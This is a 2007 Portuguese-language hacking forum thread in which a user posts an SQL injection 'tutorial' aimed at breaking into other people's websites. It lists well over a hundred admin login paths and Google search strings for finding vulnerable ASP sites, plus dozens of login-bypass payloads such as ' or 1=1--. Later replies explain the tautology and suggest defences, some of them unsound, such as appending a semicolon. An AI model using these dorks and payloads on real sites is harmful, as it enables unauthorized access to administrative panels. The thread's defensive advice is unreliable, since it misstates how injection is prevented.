SQL injection para os fins de dúvidas!

Started by Gothic_Souls, 22 de August , 2007, 05:17:14 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Gothic_Souls

Sites em asp na maioria é oque chamamos de SQL injetion para acessar o site indevidamente.
Porém muitos adm ja estão espertos com essas falhas.
Da qual botando uma string asp no google ou em algum scan, ele vai varrer e te dar supostos sites com as falhas.
Acessando aos links voce vai cair da parte de Logyn e Senha de Adm!.
Assim também sendo possivel se logar atráves de fraudes nos cookies, em breve irei fazer uma aula disso se ver que estão merecendo.

Abaixo uma lista de string para voce.
Quote/area_restrita/admin.asp

/area_restrita/login.asp

/area_restrita/index.asp

/acesso/admin.asp

/adm/default.asp

/login/index.asp

/webmaster/login.asp

/webadmin/default.asp

/webadmin/index.asp

allinurl:admin/index.asp

allinurl:admin/default.asp

allinurl:admin/admin.asp

allinurl:admin/login.asp

/cadastro/admin/

/portal/admin/

/site/admin/

/home/admin.asp

/home/admin/index.asp

/home/admin/default.asp

/menu/admin/admin.asp

/painel/admin/admin.asp

/painel/admin/login.asp

/painel/admin/index.asp

/painel/admin/default.asp

/site/admin/default.asp

/site/admin/index.asp

/site/admin/login.asp

/home/adm/login.asp

/home/adm/senha.asp

/home/adm/index.asp

/home/adm/defaul.asp

/menu/admin/index.asp

/shop/admin/login.asp

/ecommerce/admin/index.asp

/ecommerce/admin/default.asp

/ecommerce/admin/login.asp

/pedidos/admin/default.asp

/pedidos/admin/index.asp

/pedidos/admin/login.asp

/asp/admin/login.asp

/asp/admin/index.asp

/asp/admin/default.asp

/shop/admin/default.asp

/shop/admin/index.asp

/admin/entrar.asp

/admin/default.asp

/admin/index.asp

/admin/login.asp

/admin/password.asp

/admin/senha.asp

/login/login.asp

/adm/index.asp

/store/admin/index.asp

/stroe/admin/login.asp

/images/admin/

/client/admin.asp

/order/admmin.asp

/order/admin/index.asp

/order/admin/login.asp

/order/admin/default.asp

/admin/senha.asp

/webadmin/default.asp

/menu_admin/default.asp

/menu_admin/index.asp

/menu_admin/login.asp

/noticias/admin/

/news/admin/

/home/admin/login.asp

/web/admin/index.asp

/web/admin/default.asp

/web/admin/login.asp

/menu/admin/default.asp

/menu/admin/login.asp

/acesso/admin/default.asp

/acesso/admin/index.asp

/post/admin/default.asp

/post/admin/

/post/admin/index.asp

/post/admin/login.asp

/eshop/admin/

/eshop/admin.asp

/eshop/admin/default.asp

/eshop/admin/index.asp

/comercio/admin.asp

/comercio/admin/default.asp

/comercio/admin/index.asp

/compras/admin/

/clientes/admin/

/busines/admin/

/news/admin/login.asp

/news/admin/default.asp

/news/admin/index.asp

/imprensa/login.asp

/imprensa/admin.asp

/imprensa/admin/default.asp

/banner/admin/

/banner/admin/default.asp

/banner/admin/index.asp

/newsleter/admin.asp

/newsleter/admin/default.asp

/newsleter/admin/index.asp

/principal/admin.asp

/principal/admin/default.asp

/principal/admin/index.asp

/principal/admin/login.asp

/editar/admin.asp

/editar/admin/login.asp

/editar/admin/index.asp

/editar/admin/default.asp

/form/admin.asp

/admin/admin.asp

/admin/index.asp

/admin/admin/default.asp

/edit/admin/index.asp

/edit/admin/default.asp

/menu/admin/senha.asp

/painel/admin/senha.asp

/admin/admin/adm.asp

/admin/adm/senha.asp

/adm/admin/login.asp

/adm/admin/default.asp

/admin/loja/senha.asp

/admin/lojas/default.asp

/admin/lojas/index.asp

/loja/admin.asp

/db/admin/index.asp

/db/admin/login.asp

/menu_admin/senha.asp

/pedidos/admin/senha.asp

/principal/admin/senha.asp

/home/admin/senha.asp

/news/admin/senha.asp

/noticias/admin/senha.asp

/portal/admin/senha.asp

/site/admin/senha.asp

/db/admin/default.asp

/db/admin/senha.asp

/host/admin/default.asp

/host/admin/index.asp

/host/admin/login.asp

/login/admin.asp

/login_admin/index.asp

/login_admin/default.asp
/login_admin/login.asp

/store/admin.asp

/store/admin/default.asp

/imprensa/admin/index.asp

/imprensa/admin/login.asp

/banners/admin.asp

/banners/admin/default.asp

/banners/admin/index.asp

/banners/admin/login.asp

/strore/admin/senha.asp

/controle/admin.asp

/controle/admin/index.asp

/controle/admin/default.asp

/controle/admin/login.asp

/parceiros/admin.asp

/parceiros/admin/login.asp

/parceiros/admin/default.asp

/parceiros/admin/index.asp

/administrador/login.asp

/webmaster/login.asp

/webmaster/senha.asp

/webmaster/autenticar.asp

/admin/autenticar.asp

/admin/logout.asp

/admin/logar.asp

/webmaster/logar.asp

/store/admin/logar.asp

/shopping/admin.asp

/shopping/admin/login.asp

/shopping/admin/index.asp

/shopping/admin/default.asp

/admin/menu.asp

/admin/painel.asp

/shop/admin/logar.asp

/admin/acesso.asp

/restrito/admin.asp

/restrito/acesso/admin.asp

/restrito/adm/login.asp

/webmaster/entrar.asp

/admin/site/entrar.asp


Agora que voce ja conhece as strings, basta saber os códigos que voce poderá usar para se logar como administrador.
Segue a lista:


Quoteshell

root

admin

hi ' ou 1=1 --

hi ' ou ' a'='a

hi ') ou (' a'='a

hi") ou ("a"="a

admin ' - -

' ou 0=0 --

"ou 0=0 --

ou 0=0 --

' or ' 1

b' or ' 1='

' or '1

' or '|

' or 'a'='a

' or ''='

' or 1=1--

') or ('a'='a

' or '1'='1

' ou 0=0 #

"ou 0=0 #

ou 0=0 #

' ou ' x'='x

"ou" x"="x

') ou (' x'='x

"ou" a"="a

') ou (' a'='a

") ou ("a"="a

hi "ou" a"="a

hi "ou 1=1 --

' ou 1=1 --

"ou 1=1 --

ou 1=1 --

' ou a=a --

' ou 1=1 --

"ou 1=1 --

ou 1=1 --

' ou a=a --


Pronto, agora voce ja tem muita coisa para aprender SQL certinho :D

- Vou explicar para que serve esses códigos.

São comandos SQL, que quando digitados ele quer dizer "que tem que entrar na adm de qualquer jeito"
Ou seja esses códigos forçam ao servidor deixar me conectar ao BD do adm.
Isso quando o site tem a falha.
Entao digitando um desses códigos no logyn do derivado site, eu vou estar querendo dizer ou melhor forçar a minha entrada ao BD.


Exemplo de string no Google:




Espero que tenho ajudado.

Até + e obrigado a todos.!

Darkers Team!
A sete palmos do chão
Renascemos
e nas sombras viveremos.

;D
Bruna minha paixão... Arrebatou o meu coração... Mas ele triste ficou... porq de mim ela nunca gostou.

Wuefez

AuhsUHsUhSUH
Foi no paint que você editou essas screenshots?

Quanta besteira..........

Você tem a minima noção porque o seu "codigo SQL super secreto" funciona?
QuoteSão comandos SQL, que quando digitados ele quer dizer "que tem que entrar na adm de qualquer jeito"
Ou seja esses códigos forçam ao servidor deixar me conectar ao BD do adm.
Isso quando o site tem a falha.
Entao digitando um desses códigos no logyn do derivado site, eu vou estar querendo dizer ou melhor forçar a minha entrada ao BD.
Vou te dar uma palinha:

Tem o site, depois que você insere a informação no campo senha, o script server side do site da uma query no banco de dados para ver se essa informação confere, digamos que você colocou a senha ASDF, essa query para conferir a senha poderia ser algo como:
SELECT * FROM admin WHERE senha = 'ASDF';
Repare que dentro dos '    ' no fim, esta a informação que você colocou na senha, so que o site nao coloca uma \ slash ou verifica se existe algum tipo de inject na query, o que você pode fazer é adicionar seus proprios comandos dentro da query.

Se eu colocasse ASDF' OR 'x'='x' na senha, a query passaria a ser:
SELECT * FROM admin WHERE senha = 'ASDF' OR 'x'='x';Esse "super codigo secreto" que eu injetei, manda a query inicial dar true nao importa oq aconteça.

Mas ae valeu Darkers Team, o futuro do underground Brasileiro ta ai!


"Quem fala não faz."

keyhell

Realmente o cara fazer um tutorial sobe um assunto que não tem noção fica muito complicado...
E o Wuefez ainda se da ao trabalho de explicar!!!
Aonde fomos parar?
Abraços
Prefiro morrer de pé a viver sempre ajoelhado.
(Ernesto "Che" Guevara)

Gothic_Souls

Só foi uma ajuda para ajudar os novatos
sei que aqui no darkers não há quem liga mt pra esse assunto, mais fiz isso tudo na hora aqui só pra da um post sobre o assunto ja que nunca vi nenhum.
Não disse que com o codigo vc teria a mandando no site e assim podendo entrar, vc sabe mt bem que só se consegui se tiver vull.

Minha intenção foi ajuda, ja a sua eu não sei
A sete palmos do chão
Renascemos
e nas sombras viveremos.

;D
Bruna minha paixão... Arrebatou o meu coração... Mas ele triste ficou... porq de mim ela nunca gostou.

HadeS

Acredito que a intenção do Wuefez foi corrigir.

HadeS

Gothic_Souls

Quote from: "HadeS"Acredito que a intenção do Wuefez foi corrigir.

HadeS

Tudo bem, eu sei que essa foi a intenção.
Só acredito que do jeito que ele se expressou, foi meio que ofendendo minha boa vontade de postar. Sacou?


Vai assunto acabado aqui. qualquer coisa MP
A sete palmos do chão
Renascemos
e nas sombras viveremos.

;D
Bruna minha paixão... Arrebatou o meu coração... Mas ele triste ficou... porq de mim ela nunca gostou.

Ðark$pawn

Quote from: "Wuefez"AuhsUHsUhSUH
Foi no paint que você editou essas screenshots?

Quanta besteira..........

Você tem a minima noção porque o seu "codigo SQL super secreto" funciona?
QuoteSão comandos SQL, que quando digitados ele quer dizer "que tem que entrar na adm de qualquer jeito"
Ou seja esses códigos forçam ao servidor deixar me conectar ao BD do adm.
Isso quando o site tem a falha.
Entao digitando um desses códigos no logyn do derivado site, eu vou estar querendo dizer ou melhor forçar a minha entrada ao BD.
Vou te dar uma palinha:

Tem o site, depois que você insere a informação no campo senha, o script server side do site da uma query no banco de dados para ver se essa informação confere, digamos que você colocou a senha ASDF, essa query para conferir a senha poderia ser algo como:
SELECT * FROM admin WHERE senha = 'ASDF';
Repare que dentro dos '    ' no fim, esta a informação que você colocou na senha, so que o site nao coloca uma \ slash ou verifica se existe algum tipo de inject na query, o que você pode fazer é adicionar seus proprios comandos dentro da query.

Se eu colocasse ASDF' OR 'x'='x' na senha, a query passaria a ser:
SELECT * FROM admin WHERE senha = 'ASDF' OR 'x'='x';Esse "super codigo secreto" que eu injetei, manda a query inicial dar true nao importa oq aconteça.

Mas ae valeu Darkers Team, o futuro do underground Brasileiro ta ai!

Amigo Wuefez, agradeço pela contrtibuição no conteúdo, mas eu já te disse várias vezes cara, pega leve em seus comentários... ;)

branco

"SELECT * FROM admin WHERE senha = 'ASDF';"

hmmm vc falou certo "poderia", porque na pratica nao pode..., se vc utilizar esse comando, qualquer usuario vai poder logar bastando apenas "adivinhar" uma senha, te do um exemplo como o orkut, se ele utilizasse essa query, pra logar com qualquer usuario bastaria eu digitar no campo "123456" ( com certeza alguem tem essa senha )

o "correto" seria,

Select * from admin where senha = 'asdf' and user='admin'

ou ainda,

select usuario from admin where senha = 'asdf'

espero que aprenda pra nao dar um vacilo desses na hora de fazer um site profissional, isso poderia facilitar muito um bruteforce, caso o site nao tenha tanta gente cadastrada pra conseguirmos adivinhar uma senha.

t+

obs : valew pelo tuto Gothic_Souls, sempre ajudando =]
Olha o trem... Quem vai ficar, quem vai partir? Quem vai chorar, quem vai sorrir?

colt7r

Parabéns, excelente tópico. A matéria mais completa sobre SQL Injection que já vi em portugues.

Gothic_Souls

O tutorial ficou bem simples, mais foi só para o pessoal entender como funciona o SQL injection de modo simples, possibilitando assim o fim das dúvidas simples que são a maioria delas!
A sete palmos do chão
Renascemos
e nas sombras viveremos.

;D
Bruna minha paixão... Arrebatou o meu coração... Mas ele triste ficou... porq de mim ela nunca gostou.

java_aly

Valew Gothic_Souls...
Eu saquei sua intenção,
e me deu uma luz
com relação a SQL injection!
"_  O vírus da cura ou a cura do vírus, isso depende... _"


negralha


Mateus

BAKA!

Não se ensina SQL Injection.

Um texto desses pra mim é uma ofensa à essa linda técnica.

Sua iniciativa é louvavel gothic_souls, é sempre bom produzir conteúdo, mas agente só deve escrever sobre assuntos que agente domina, qualquer idiota sabe que querer fazer um sql injection sem saber o mínimo de SQL é o mesmo que martelar um parafuso.
H4X with axes 8)

Triplo X

Quote from: branco on 28 de August , 2007, 11:52:51 AM
o "correto" seria,

Select * from admin where senha = 'asdf' and user='admin'

ou ainda,

select usuario from admin where senha = 'asdf'

espero que aprenda pra nao dar um vacilo desses na hora de fazer um site profissional, isso poderia facilitar muito um bruteforce, caso o site nao tenha tanta gente cadastrada pra conseguirmos adivinhar uma senha.

t+

obs : valew pelo tuto Gothic_Souls, sempre ajudando =]

Bom, estou postando pois a última resposta tinha apenas uns 2 meses então...

Para não deixar que insiram campos OR após a cláusula WHERE, poderíamos adicionar um ";" (ponto-e-vírgula) no fim do select.
Eu costumo utilizar o ponto-e-vírgula para separar múltiplos select's em uma única consulta.

Mas aí ficaria aberta para injetar uma outra consulta, por exemplo, pois a primeira foi "fechada" com ponto-e-vírgula.

O jeito mesmo é checar como o Branco citou e ainda adicionar outros campos obrigatórios de sua preferência, como por exemplo, o campo Nome poderia ser do tipo UNIQUE.

Ao cadastrar usuários, crie um quadro com números aleatórios, como o de validação de imagens, só que com números, daí o usuário vai preenchê-lo e inserir no banco ao submeter o cadastro.

Daí quando fazer o login, estes números poderiam ser checados também, não importando se outro user possui os mesmos números (se é aleatório, acho difícil), pois o nome a ser checado é do tipo único.

Bom, esta é uma de muitas alternativas de evitar um injection simples em um campo de login.

[]s
Não me venha dizer que é melhor que alguém que eu te espanco!
Todos não passamos de ratinhos que morrerão um dia como todos os outros...